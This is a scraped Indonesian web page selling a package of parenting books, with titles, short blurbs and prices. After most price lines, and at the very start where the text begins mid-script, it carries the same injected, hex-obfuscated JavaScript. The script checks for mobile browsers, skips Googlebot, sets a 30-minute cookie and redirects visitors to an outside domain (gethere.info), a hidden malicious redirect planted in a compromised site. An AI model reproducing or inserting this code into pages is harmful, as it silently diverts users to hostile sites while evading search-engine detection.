u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Buku Parenting : Daily Parenting Guide

“Bila ingin jadi dokter ada universitasnya, bila ingin menjadi professor ada perguruan tingginya. Namun jadi orang tua tidak ada sekolahnya. Buku-buku ini layak jadi rujukkan kalau kita ingin belajar jadi orang tua yang baik”
 

(Drs. Edi Kuntjoro, M.Pd. kepala sekolah SMA)

 

 

Judul-judul buku di dalam paket :

1. Napak Tilas Sukses Anak                     Rp.     10.000,-

2. Smart Parent for Smart Student            Rp.   70.000,-

3. Aku Wariskan Moral Bagi Anakku         Rp.   70.000,-

4. Alhamdulillah Anakku Nakal                   Rp.   80.000,-

5. Orang Tuaku Hobi Menghukum              Rp.   75.000,-

6. Awas Anak Kecanduan Game              Rp.   75.000,-

7. Tips Instan Mendidik Anak                      Rp.   80.000,-

……………………………………Total   :     Rp. 460.000,-

Buku Parenting : Tips Instan Mendidik Anak

<a href="http://griyaparenting.com/wp-content/uploads/2012/11/Buku-071.jpg"><img class="alignleft size-thumbnail wp-image-251" title="Tips Instan Mendidik Anak" alt="" src="http://griyaparenting.com/wp-content/uploads/2012/11/Buku-071-150×150.jpg" width="150" height="150" /></a>Sebagai orang tua seringkali reaktif dan emosional saat menangani anak yang bertengkar, anak yang malas, anak yang terus menerus menonton televisi atau main game. Saatnya orang tua belajar tips-tips yang telah terbukti mampu menaklukkan perilaku negatif anak melalui buku ini.

&nbsp;

&nbsp;

&nbsp;

<strong>Rp. 80.000,-</strong><script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Buku Parenting : Awas Anak Kecanduan Game

<a href="http://griyaparenting.com/wp-content/uploads/2012/11/Buku-06.jpg"><img class="alignleft size-thumbnail wp-image-244" title="Awas Anak Kecanduan Games" alt="" src="http://griyaparenting.com/wp-content/uploads/2012/11/Buku-06-150×150.jpg" width="150" height="150" /></a>Buku Parenting : Awas Anak Kecanduan Game. Panduan Antisipatif dan Kuratif terhadap kecanduan games anak.

Anak anda kecanduan game ? Prestasi belajar mereka menurun? Tidak bisa lepas sama sekali dari game? Anda tidak mampu lagi mengontrol akses internet anak Anda terhadap bahaya games dan pornografi? Saatnya Anda belajar kiat efektif dalam buku ini. Karena ternyata bahaya pornografi jauh lebih besar dari bahaya narkoba.

&nbsp;

<strong>Rp. 75.000,-</strong><script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Cara Mendidik Anak : Orang Tuaku Hobi Menghukum

<a href="http://griyaparenting.com/wp-content/uploads/2012/11/BUKU-ORANGTUAKU-HOBI-MENGHUKUM-COVER.jpg"><img class="alignleft size-thumbnail wp-image-239" title="BUKU ORANGTUAKU HOBI MENGHUKUM" alt="" src="http://griyaparenting.com/wp-content/uploads/2012/11/BUKU-ORANGTUAKU-HOBI-MENGHUKUM-COVER-150×150.jpg" width="150" height="150" /></a>Panduan memberikan penghargaan dan hukuman yang mendidik bagi orang tua dan guru.

<strong>"Memuji spontanitas, menghukum pikir dahulu"</strong>

Anak anda semakin bandel dan susah diatur? Jangan-jangan orang tua terjebak selalu menghukum dan "pelit" terhadap penghargaan? Sanksi yang anda berikan tidak mampu membuat anak jera dan taat terhadap peraturan? Temukan tekhnik jitu bagaimana menghargai dan memberi sanksi yang efektif dalam buku ini..

<strong>Rp. 75.000,-</strong><script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Buku Parenting Islami : Alhamdulillah Anakku Nakal

Resep mengubah “musibah” kenakalan anak menjadi “anugrah”.

Anda pusing dengan polah tingkah anak Anda? Kurang sabar dengan sikap mereka? Anda jengkel dan marah dengan kenakalan mereka? Saatnya kita sebagai oraang tua berinstrospeksi sekaligus menambah wawasan dan skill dalam mendidik anak melalui buku ini. Keran , bukankah banyak anak yang dianggap “nakal” karena  kesalahan paradigma orang tua? Atau karena meniru orang tuanya?

Rp. 80.000,-

Buku Parenting : Aku Wariskan Moral Bagi Anakku

<a href="http://griyaparenting.com/wp-content/uploads/2012/11/Buku-03.jpg"><img class="alignleft size-thumbnail wp-image-225" title="Buku Parenting : Aku Wariskan Moral Bagi Anakku" alt="" src="http://griyaparenting.com/wp-content/uploads/2012/11/Buku-03-150×150.jpg" width="150" height="150" /></a>Orang tua boleh mewariskan harta, rumah, mobil kepada anak-anaknya. Namun warisan apakah yang sebenarnya harus dijadikan warisan pertama dan utama orang tua bagi putra-putrinya?

Bukankah banyak fakta yang menggambarkan bahwa warisan harta saja justru seringkali menimbulkan perpecahan antara keluarga? maka tentu, warisan karakter berupa kejujuran, kerja keras, integritas, dan karakter lainnya sebagai pilihan warisan kita. Dapatkan teknik mewariskannya dalam buku ini.

<strong>Rp. 70.000,-</strong><script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>